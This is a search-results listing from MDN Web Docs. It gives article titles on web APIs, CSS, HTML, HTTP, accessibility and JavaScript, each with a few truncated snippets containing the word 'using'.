... attributes can be declared readonly, in which case setting causes an error to be thrown in script contexts and native contexts lack the set method, by using the "readonly" keyword.
...And 5 more matches
Plug-in Development Overview - Plugins
for information about the html elements to use, see using html to display plug-ins.
... to determine the mime types and file extensions that the plug-in handles, the browser normally uses the content of the registry entries for the plug-in described below in installation using the registry.
... working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp.
...And 5 more matches
Dragging and Dropping Multiple Items - Web APIs
mozilla supports the ability to drag multiple items using some additional non-standard methods.
...you should add them in order starting with 0 as you cannot add items at positions farther than the last item, however you can replace existing items by using indices you have already added.
... using 0 as the index is equivalent to calling setdata().
...And 5 more matches
Working with the History API - Web APIs
adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state.
...but there is one important exception: after using history.pushstate(), calling history.back() does not raise a popstate event.
... note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) through gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2), the passed object is serialized using json.
...And 5 more matches
PannerNode - Web APIs
it is an audionode audio-processing module describing its position with right-hand cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.
... the orientation and position value are set and retrieved using different syntaxes, since they're stored as audioparam values.
...while this audioparam cannot be directly changed, its value can be altered using its value property.
...And 5 more matches
SVGLength - Web APIs
WebAPISVGLength
svg_lengthtype_ems 3 a value was specified using the em units defined in css2.
... svg_lengthtype_exs 4 a value was specified using the ex units defined in css2.
... svg_lengthtype_px 5 a value was specified using the px units defined in css2.
...And 5 more matches
Adding 2D content to a WebGL context - Web APIs
the shaders a shader is a program, written using the opengl es shading language (glsl), that takes information about the vertices that make up a shape and generates the data needed to render the pixels onto the screen: namely, the positions of the pixels and their colors.
... // vertex shader program const vssource = ` attribute vec4 avertexposition; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; void main() { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; } `; it's worth noting that we're using a vec4 attribute for the vertex position, which doesn't actually use a 4-component vector; that is, it could be handled as a vec2 or vec3 depending on the situation.
...note also the lack of any work with textures here; that will be added in using textures in webgl.
...And 5 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
const constraints = { audio: true, video: true }; const config = { iceservers: [{ urls: "stun:stun.mystunserver.tld" }] }; const selfvideo = document.queryselector("video.selfview"); const remotevideo = document.queryselector("video.remoteview"); const signaler = new signalingchannel(); const pc = new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and the view of the incoming stream from the remote peer.
...using destructuring, the rtctrackevent's track and streams properties are extracted.
... handling the negotiationneeded event first, we implement the rtcpeerconnection event handler onnegotiationneeded to get a local description and send it using the signaling channel to the remote peer.
...And 5 more matches
WebRTC API - Web APIs
to learn more about adapter.js, see improving compatibility using webrtc adapter.js.
...once a connection has been established and opened using rtcpeerconnection, media streams (mediastreams) and/or data channels (rtcdatachannels) can be added to the connection.
... you can also use the connection between two peers to exchange arbitrary binary data using the rtcdatachannel interface.
...And 5 more matches
Writing WebSocket client applications - Web APIs
websocket client applications use the websocket api to communicate with websocket servers using the websocket protocol.
... creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server.
...we can at least be sure that attempting to send data only takes place once a connection is established by defining an onopen event handler to do the work: examplesocket.onopen = function (event) { examplesocket.send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you can do is use json to send reasonably complex data to the server.
...And 5 more matches
Starting up and shutting down a WebXR session - Web APIs
emulator usage while somewhat awkward compared to using an actual headset, this makes it possible to experiment with and developer webxr code on a desktop computer, where webxr isn't normally available.
...your document needs to either have been loaded from the local drive (such as by using an url such as http://localhost/...), or using https when loading the page.
... here we define a getxr() function, which returns the xrsystem object after optionally installing the polyfill, assuming that the polyfill has been included or loaded using a prior <script> tag.
...And 5 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
each voice also has local controls, which allow you to manipulate the effects or parameters particular to each technique we are using to create those voices.
... the techniques we are using are: name of voice technique associated web audio api feature "sweep" oscillator, periodic wave oscillatornode, periodicwave "pulse" multiple oscillators oscillatornode "noise" random noise buffer, biquad filter audiobuffer, audiobuffersourcenode, biquadfilternode "dial up" loading a sound sample to play audiocontext.decodeaudiodata(), audiobuffersourcenode note: this instrument was not created to sound good, it was created to provide demonstration code and represents a very simplified version of such an instrument.
...however, instead of using the standard waves that come by default, we're going to create our own using the periodicwave interface and values set in a wavetable.
...And 5 more matches
Window.open() - Web APIs
WebAPIWindowopen
if you are using the sdk, tabs are handled a bit differently k-meleon 1.1, a mozilla-based browser, gives complete control and power to the user regarding how links are opened.
... users can be using browser-built-in feature or extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not.
... offer to open a link in a new window, using these guidelines if you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines: never use this form of code for links: <a href="javascript:window.open(...)" ...> "javascript:" links break accessibility and usability of webpages in every browser.
...And 5 more matches
ARIA: button role - Accessibility
<div id="savechanges" tabindex="0" role="button" aria-pressed="false">save</div> the above example creates a simple button which is first in the focus order, though <button> or <input> with type="button" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space keys, in order to process the user's input.
... in addition to the ordinary button widget, role="button" should be included when creating a toggle button or menu button using a non button element.
... onclick handles the event raised when the button is activated using a mouse click or touch event.
...And 5 more matches
ARIA - Accessibility
many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists.
... here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning.
... along with placing them directly in the markup, aria attributes can be added to the element and updated dynamically using javascript code like this: // find the progress bar <div> in the dom.
...And 5 more matches
Keyboard - Accessibility
to be fully accessible, a web page must be operable by someone using only a keyboard to access and control it.
... focusable elements should have interactive semantics if an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).
...in such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").
...And 5 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
the flex container an area of a document laid out using flexbox is called a flex container.
... the result of this is that your items will all line up in a row, using the size of the content as their size in the main axis.
...set it to nowrap, which is also the initial value, and they will instead shrink to fit the container because they are using initial flexbox values that allows items to shrink.
...And 5 more matches
OpenType font features guide - CSS: Cascading Style Sheets
this article provides you with all you need to know about using opentype font features in css.
...they are all defined and shown here, but many will only work using the lower-level font-feature-settings property.
...the issue with simply using font-feature-settings for everything is that every time you want to change one of the individual features, you have to redefine the entire string (similar to manipulating variable fonts with font-variation-settings).
...And 5 more matches
Shapes From Images - CSS: Cascading Style Sheets
due to this requirement for cors compatible images, if you are previewing your file locally without using a local web server, your shape will not work.
... in the example below i am using a similar image to the initial example, however in this image the background of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
... using images with generated content in the above example i have both used the image as the value of shape-outside and also added it to the page.
...And 5 more matches
Cross-browser audio basics - Developer guides
this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
... we do this using the <source> element, which takes the attributes src and type.
...if you don't specify this attribute, no controls will appear — and you will instead have to create your own controls and program their functionality using the media api (see below).
...And 5 more matches
Creating a cross-browser video player - Developer guides
as well as working fullscreen, the player features custom controls rather than just using the browser defaults.
...using these different source formats gives the best chance of being supported across all browsers that support html5 video.
... the code above would allow playback of the video in most browsers, using the browser's default control set.
...And 5 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
for those of you not using a supporting browser, the chrome/opera datetime-local control looks like the below screenshot.
... you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascript's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually.
... using datetime-local inputs date/time inputs sound convenient at first glance; they provide an easy ui for choosing dates and times, and they normalize the data format sent to the server, regardless of the user's locale.
...And 5 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
... using email inputs e-mail addresses are among the most frequently-inputted textual data forms on the web; they're used when logging into web sites, when requesting information, to allow order confirmation, for webmail, and so forth.
...And 5 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
you can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like so: <label for="appt-time">choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var timecontrol = document.queryselector('input[type="time"]'); timecontrol.value = '15:30'; time value format the value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent).
... if the time includes seconds (see using the step attribute), the format is always hh:mm:ss.
...the form's data entry for a time input will always be in the form name=hh%3amm, or name=hh%3amm%3ass if seconds are included (see using the step attribute).
...And 5 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
keyboard users can select multiple contiguous items by: focusing on the <select> element (e.g.
... using tab).
... selecting an item at the top or bottom of the range they want to select using the up and down cursor keys to go up and down the options.
...And 5 more matches
MIME types (IANA media types) - HTTP
example can also be used as a subtype; for instance, in an example related to working with audio on the web, the mime type audio/example can be used to indicate that the type is a placeholder and should be replaced with an appropriate one when using the code in the real world.
...examples include multipart/form-data (for data produced using the formdata api) and multipart/byteranges (defined in rfc 7233: 5.4.1 and used with http's 206 "partial content" response returned when the fetched data is only part of the content, such as is delivered using the range header).
... text/javascript per the html specification, javascript files should always be served using the mime type text/javascript.
...And 5 more matches
Link prefetching FAQ - HTTP
an example using the link tag follows: <link rel="prefetch" href="/images/big.jpeg"> the same prefetching hint using an http link: header: link: </images/big.jpeg>; rel=prefetch the format for the link: header is described in rfc 5988 section 5.
... in the current implementation (mozilla 1.2), idle time is determined using the nsiwebprogresslistener api.
...when the user visits a prefetched document for real, the remaining portion of the document will be fetched using a http byte-range request.
...And 5 more matches
An overview of HTTP - HTTP
WebHTTPOverview
this immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets.
...using header extensibility, http cookies are added to the workflow, allowing session creation on each http request to share the same context, or the same state.
... in order to mitigate this flaw, http/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying tcp connection can be partially controlled using the connection header.
...And 5 more matches
JavaScript modules - JavaScript
however, we decided to keep to using .js, at least for the moment.
... this is ok if you are using such an environment already, or if you aren't but you know what you are doing and have access (i.e.
... if you really value the clarity of using .mjs for modules versus using .js for "normal" javascript files, but don't want to run into the problem described above, you could always use .mjs during development and convert them to .js during your build step.
...And 5 more matches
Array - JavaScript
in general, these are convenient characteristics; but if these features are not desirable for your particular use, you might consider using typed arrays.
...setting or accessing via non-integers using bracket notation (or dot notation) will not set or retrieve an element from the array list itself, but will set or access a variable associated with that array's object property collection.
... common operations create an array let fruits = ['apple', 'banana'] console.log(fruits.length) // 2 access an array item using the index position let first = fruits[0] // apple let last = fruits[fruits.length - 1] // banana loop over an array fruits.foreach(function(item, index, array) { console.log(item, index) }) // apple 0 // banana 1 add an item to the end of an array let newlength = fruits.push('orange') // ["apple", "banana", "orange"] remove an item from the end of an array let last = fruits.pop() // remove orange (from the end) // ["apple", "banana"] remove an item from the beginning of an array let fi...
...And 5 more matches
Function.prototype.apply() - JavaScript
note: when the first argument is undefined or null a similar outcome can be achieved using the array spread syntax.
... examples using apply to append an array to another you can use push to append an element to an array.
... const array = ['a', 'b']; const elements = [0, 1, 2]; array.push.apply(array, elements); console.info(array); // ["a", "b", 0, 1, 2] using apply and built-in functions clever usage of apply allows you to use built-in functions for some tasks that would probably have otherwise been written by looping over the array values.
...And 5 more matches
Function.prototype.bind() - JavaScript
the value is ignored if the bound function is constructed using the new operator.
... when using bind to create a function (supplied as a callback) inside a settimeout, any primitive value passed as thisarg is converted to object.
... a bound function may also be constructed using the new operator.
...And 5 more matches
eval() - JavaScript
eval(new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work around this limitation in a generic fashion by using tostring().
... fortunately, there's a very good alternative to eval(): simply using window.function().
... see this example of how to convert code using a dangerous eval() to using function(), see below.
...And 5 more matches
Optional chaining (?.) - JavaScript
chaining operator, except that instead of causing an error if a reference is nullish (null or undefined), the expression short-circuits with a return value of undefined.
... with the optional chaining operator (?.), however, you don't have to explicitly test and short-circuit based on the state of obj.first before trying to access obj.first.second: let nestedprop = obj.first?.second; by using the ?.
...this can be helpful, for example, when using an api in which a method might be unavailable, either due to the age of the implementation or because of a feature which isn't available on the user's device.
...And 5 more matches
Digital audio concepts - Web media technologies
the process of compressing and decompressing audio is performed by encoding and decoding it using an audio codec (coder/decoder).
... to solve this problem, the audio must be made smaller using compression.
...as a result, audio data is difficult to compress using traditional algorithms such as those used by generral-purpose tools like zip, which usually work by replacing repeating sequences of data with a shorthand representation.
...And 5 more matches
Loading and running WebAssembly code - WebAssembly
webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports.
... using fetch fetch is a convenient, modern api for fetching network resources.
... the quickest, most efficient way to fetch a wasm module is using the newer webassembly.instantiatestreaming() method, which can take a fetch() call as its first argument, and will handle fetching, compiling, and instantiating the module in one step, accessing the raw byte code as it streams from the server: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(results => { // do something with the results!
...And 5 more matches
context-menu - Archive of obsolete content
handling menu item clicks in addition to using content scripts to listen for the "context" event as described above, you can use content scripts to handle item clicks.
...xt-menu"); cm.item({ label: "edit image", context: cm.selectorcontext("img"), contentscript: 'self.on("click", function (node, data) {' + ' self.postmessage(node.src);' + '});', onmessage: function (imgsrc) { openimageeditor(imgsrc); } }); updating a menu item's label each menu item must be created with a label, but you can change its label later using a couple of methods.
... you can also get the selected text using the high level selection api.
...And 4 more matches
simple-prefs - Archive of obsolete content
a boolint is presented to the user as a checkbox, but instead of storing true or false, the "on" or "off" checkbox states are mapped to integers using "on" or "off" properties in the specification.
... in "package.json": { "type": "control", "label": "click me!", "name": "sayhello", "title": "say hello" } in "main.js": var sp = require("sdk/simple-prefs"); sp.on("sayhello", function() { console.log("hello"); }); localization using the sdk's localization system, you can provide translated forms of the title and description attributes.
... you can also see them and change them programmatically using the prefs property, and listen for changes to a preference using on().
...And 4 more matches
dev/panel - Archive of obsolete content
note that at the moment you can't debug remote targets (for example, firefox os, the firefox os simulator, or firefox for android) using tools developed with this api.
...with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript.
... for a simple walkthrough of using the dev/panel api to add a new tool, see adding a panel to the toolbox.
...And 4 more matches
ui/button/action - Archive of obsolete content
("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: function(state) { console.log("button '" + state.label + "' was clicked"); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel using the toolbar customization feature: badged buttons new in firefox 36.
... you can add a "badge" to a button using its badge property.
...by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying multiple icons you can specify just one icon, or multiple icons in different sizes.
...And 4 more matches
cfx to jpm - Archive of obsolete content
so: if you never did anything with ids when using cfx, then the value in your add-on's package.json will be something like "jid1-f3boogbjqje67a", and the corresponding id in the install.rdf will be "jid1-f3boogbjqje67a@jetpack".
... if you do this, the add-on's id will be the same as it was when you were using cfx.
...with cfx, this defaults to "lib/main.js", although it can be set to a different file using the main field in package.json.
...And 4 more matches
The Essentials of an Extension - Archive of obsolete content
the skin section has the files that define most of the look and feel of the ui (using css and images, just like web pages).
...using namespaces minimizes compatibility problems with other extensions.
...the variable is declared using let, which is similar to var but with more restricted scope.
...And 4 more matches
Security best practices in extensions - Archive of obsolete content
files loaded using the file protocol can access files on the user's disk and other local devices.
... using eval() in an extension using the built-in javascript eval function is frowned upon in the context of extensions.
...this is the same store that holds the logins from web pages, and passwords can only be retrieved using a site/username pairing known to the author.
...And 4 more matches
JXON - Archive of obsolete content
jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...if you have already have a dom tree from using xmlhttprequest, skip to the next paragraph.
... note: if you are using an instance of xmlhttprequest in order to retrieve your xml file, please use the yourrequest.responsexml property to get a parsed xml document.
...And 4 more matches
Reading textual data - Archive of obsolete content
using the system character encoding may work (xxx insert text how to get it), or again the default character encoding from preferences.
...using utf-8 for this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_character; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); is.init(fis, charset, 1024, replacementchar); now you can read string from is: var str = {}; var numch...
...using utf-8 for this example: */ "utf-8"; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); // this assumes that fis is the nsiinputstream you want to read from is.init(fis, charset, 1024, 0xfffd); is.queryinterface(components.interfaces.nsiunicharlineinputstream); if (is instanceof components.in...
...And 4 more matches
Venkman Introduction - Archive of obsolete content
this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting.
...even if you are already using venkman, the features, procedures, and tips described here will make you a more confident web developer and debugger.
... the continue button to the right of the stop button dismisses the stop mode and specifies that scripts should be executed normally, without pausing as each statement is executed.
...And 4 more matches
Elements - Archive of obsolete content
a single xbl binding can be attached to an element by using style sheets or by scripting.
... css: div { -moz-binding: url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data: url to embed the binding inline: div { -moz-binding: url(data:text/xml;charset=utf-8,%3c%3fxml%20version%3d%221.0%22%3f%3e%0a%3cbindings%20id%3d%22xbltestbindings%22%20xmlns%3d%22http%3a//www.mozilla.org/xbl%22%3e%0a%20%20%3cbinding%20id%3d%22xbltest%22%3e%3ccontent%3epass%3c/content%3e%3c/binding%3e%0a%3c/bindings%3e%0a); } since data: urls don't support fragment identifiers, the first binding found in the embedded xml is used instead.
...the method can be invoked directly from the bound element using this value.
...And 4 more matches
Creating XPI Installer Modules - Archive of obsolete content
xul, javascript, or css files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers find more confusing and esoteric.
...since we are not updating the mozilla ui to provide special access to this window (e.g., an item in the tasks menu or elsewhere), the measure of the success of the installation of the barley package is that the user can, as before, invoke our software by using a special startup option: mozilla -chrome chrome://barley/content this option tells mozilla to load a chrome other than the default, which is the main browser window.
...package creation overview this tutorial describes the following sequence of steps for creating a new package: developing the resources organizing the resources creating the contents.rdf file making the barley install script creating a xpi you can examine (or install!) the package described here by downloading the barley xpi file and using a zip unarchiver[zip] to open it.
...And 4 more matches
OpenClose - Archive of obsolete content
for menupopups attached to other elements using the popup or context attributes, see opening a popup below.
...for menupopups attached to other elements using the popup or context attributes, see closing a popup below.
... popups attached using the popup attribute will be opened when the user clicks the mouse with the left mouse button.
...And 4 more matches
Additional Navigation - Archive of obsolete content
using a literal as the object of a triple is a common way to filter out specific items.
...in this case, we will categorize each photo by country where the photo was taken using a country predicate.
...we can then display these results using the following action body.
...And 4 more matches
Template Builder Interface - Archive of obsolete content
since templates were designed for creating xul content, sometimes there can be unusual results when using html.
...for non-xul elements, the template builder will be assigned to a builder property on the element using a custom javascript property instead.
...the rdf datasource associated with the template can be retrieved using the element's 'database' property.
...And 4 more matches
Template Logging - Archive of obsolete content
each result is logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a new result has been added.
...however, calling getelementbyid using this id will retrieve the generated content for that result if you want to further study the content that was generated.
...in template with id root using ref http://www.some-fictitious-zoo.com/birds removed inactive result for query 2 (active query is 1): http://www.some-fictitious-zoo.com/birds/barnowl in this example, a result with the id 'http://www.some-fictitious-zoo.com/birds/barnowl' has been removed.
...And 4 more matches
XPCOM Interfaces - Archive of obsolete content
calling native objects by using xul we can build a complex user interface.
...mozilla provides such a method which involves using xpcom (cross-platform component object model).
...after learning this section, you can search suitable interfaces using xulplanet xpcom reference about xpcom mozilla is constructed from a collection of components, each of which performs a certain task.
...And 4 more matches
Mozilla release FAQ - Archive of obsolete content
gemini was a previous rendering engine project, renamed nglayout aurora is the navigation center in mozilla and navigator5 seamonkey refers to versions of mozilla based on xpfe and nglayout normandy refers to the mail/news branch of mozilla what are all these acronyms people are using in the newsgroup?
...these instructions are included in the source tree, and are also available on the mozilla website: detailed build instructions: unix/x win32 mac if your version of make chokes on the makefiles (on unix), you might not be using gnu make.
...regarding shells, i would like to recommend the following: if you are using unix, use bash-family shells for the build because of the better control over redirection (in case you want to log errors and messages) if you are using win32, using the default shell cmd.exe (as opposed to 4dos or 4nt) will probably yield better results.
...And 4 more matches
Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers.
... .htaccess ( hypertext access ) file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... jxon jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...And 4 more matches
Mobile touch controls - Game development
the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose.
... to see if it's working correctly we can output the x and y positions using the output element.
... you can add more pointers to the game by using; this.game.input.addpointer up to ten pointers can be managed simultaneously.
...And 4 more matches
Backgrounds and borders - Learn web development
play around with these, using any available <color> value.
... gradient backgrounds a gradient — when used for a background — acts just like an image and is also set by using the background-image property.
...this is controlled using the background-attachment property, which can take the following values: scroll: it causes the element's background to scroll when the page is scrolled.
...And 4 more matches
Organizing your CSS - Learn web development
consistency can be applied in all sorts of ways, such as using the same naming conventions for classes, choosing one method of describing color, or maintaining consistent formatting (for example will you use tabs or spaces to indent your code?
... however, you do gain a lot of structure by adopting one and, as many of these systems are very widely used, other developers are more likely to understand the approach you are using and be able to write their css in the same way, rather than having to work out your own personal methodology from scratch.
... class="media comment"> <img /> <div class="content"></div> </div> the list-item would have media and list-item applied: <ul> <li class="media list-item"> <img /> <div class="content"></div> </li> </ul> the work that nicole sullivan did in describing this approach and promoting it means that even people who are not strictly following an oocss approach today will generally be reusing css in this way — it has entered our understanding as a good way to approach things in general.
...And 4 more matches
Sizing items in CSS - Learn web development
previous overview: building blocks next in the various lessons so far you have come across a number of ways to size items on a web page using css.
... if you place an image on a page and do not change its height and width, either using attributes on the <img> tag or css, it will be displayed using that intrinsic size.
... using percentages in many ways, percentages act like length units, and as we discussed in the lesson on values and units, they can often be used interchangeably with lengths.
...And 4 more matches
Flexbox - Learn web development
note: you can also lay out flex items in a reverse direction using the row-reverse and column-reverse values.
...this can be specified individually using the flex-grow longhand property.
...this can be specified individually using the flex-basis longhand value.
...And 4 more matches
Getting started with CSS - Learn web development
to link styles.css to index.html add the following line somewhere inside the <head> of the html document: <link rel="stylesheet" href="styles.css"> this <link> element tells the browser that we have a stylesheet, using the rel attribute, and the location of that stylesheet as the value of the href attribute.
...using your code editor add the following to your css file: h1 { color: red; } save your html and css files and reload the page in a web browser.
...this can be done by simply choosing the html element that you want to change, and using a css rule to change the way it looks.
...And 4 more matches
Styling lists - Learn web development
edients.</dd> <dt>pita</dt> <dd>a soft, slightly leavened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults: the <ul> and <ol> elements have a top and bottom margin of 16px (1em) and a padding-left of 40px (2.5em.) the list items (<li> elements) have no set defaults for spacing.
... if you set the value to inside, the bullets will sit inside the lines: ol { list-style-type: upper-roman; list-style-position: inside; } using a custom bullet image the list-style-image property allows you to use a custom image for your bullet.
...you are better off using the background family of properties, which you've learned in the backgrounds and borders article.
...And 4 more matches
How do you upload your files to a web server? - Learn web development
this article shows you how to publish your site online using file transfer tools.
... objective: learn how to push files to a server using the various file transfer tools available.
...in this article we'll discuss how to do that, using various available options such as sftp clients, rsync and github.
...And 4 more matches
How to structure a web form - Learn web development
the flexibility of forms makes them one of the most complex structures in html; you can build any kind of basic form using dedicated form elements and attributes.
... using correct structure when building an html form will help ensure that the form is both usable and accessible.
...each time you want to create an html form, you must start it by using this element, nesting all the contents inside.
...And 4 more matches
The web and web standards - Learn web development
browsers you are probably reading these words inside a web browser in this very moment (unless you've printed it out, or are using assistive technology, such as a screenreader to read it out to you).
...now let's discuss the best practices you should employ to make sure you are using those technologies in the best way that you can.
... user 3 might be blind, and using a screenreader to read the web page out to them.
...And 4 more matches
Adding vector graphics to the Web - Learn web development
on the web, you'll work with two types of image — raster images, and vector images: raster images are defined using a grid of pixels — a raster image file contains information showing exactly where each pixel is to be placed, and exactly what color it should be.
... popular web raster formats include bitmap (.bmp), png (.png), jpeg (.jpg), and gif (.gif.) vector images are defined using algorithms — a vector image file contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen.
...more advanced svg features include <fecolormatrix> (transform colors using a transformation matrix,) <animate> (animate parts of your vector graphic,) and <mask> (apply a mask over the top of your image.) as a simple example, the following code creates a circle and a rectangle: <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" ...
...And 4 more matches
Images in HTML - Learn web development
in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css background images.
... you could embed the image using its absolute url, for example: <img src="https://www.example.com/images/dinosaur.jpg"> but this is pointless, as it just makes the browser do more work, looking up the ip address from the dns server all over again, etc.
...it can come in handy for a number of reasons: the user is visually impaired, and is using a screen reader to read the web out to them.
...And 4 more matches
Video and audio content - Learn web development
controls users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascript api.
...this can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.
... the embedded video will look something like this: you can try the example live here (see also the source code.) using multiple source formats to improve compatibility there's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like internet explorer or even an older version of safari.
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article.
...one clear way to do this is by using <thead>, <tfoot>, and <tbody>, which allow you to mark up a header, footer, and body section for the table.
...if you are using <col>/<colgroup> element, the table header should come just below those.
...And 4 more matches
Introduction to events - Learn web development
the javascript looks like so: const btn = document.queryselector('button'); function random(number) { return math.floor(math.random() * (number+1)); } btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; } in this code, we store a reference to the button inside a constant called btn, using the document.queryselector() function.
... ways of using web events there are a number of ways to add event listener code to web pages so it runs when the associated event fires.
...with javascript, you could easily add an event handler function to all the buttons on the page no matter how many there were, using something like this: const buttons = document.queryselectorall('button'); for (let i = 0; i < buttons.length; i++) { buttons[i].onclick = bgchange; } note that another option here would be to use the foreach() built-in method available on nodelist objects: buttons.foreach(function(button) { button.onclick = bgchange; }); note: separating your programming logic from your content also mak...
...And 4 more matches
A first splash into JavaScript - Learn web development
in this case, we are using constants to store references to parts of our user interface; the text inside some of them might change, but the html elements referenced stay the same.
... in our example: the first variable — randomnumber — is assigned a random number between 1 and 100, calculated using a mathematical algorithm.
...here we have defined a function by using the keyword function, followed by a name, with parentheses put after it.
...And 4 more matches
Useful string methods - Learn web development
when you create a string, for example by using let string = 'this is my string'; your variable becomes a string object instance, and as a result has a large number of properties and methods available to it.
... retrieving a specific string character on a related note, you can return any character inside a string by using square bracket notation — this means you include square brackets ([]) on the end of your variable name.
... to retrieve the last character of any string, we could use the following line, combining this technique with the length property we looked at above: browsertype[browsertype.length-1]; the length of "mozilla" is 7, but because the count starts at 0, the character position is 6; using length-1 gets us the last character.
...And 4 more matches
What is JavaScript? - Learn web development
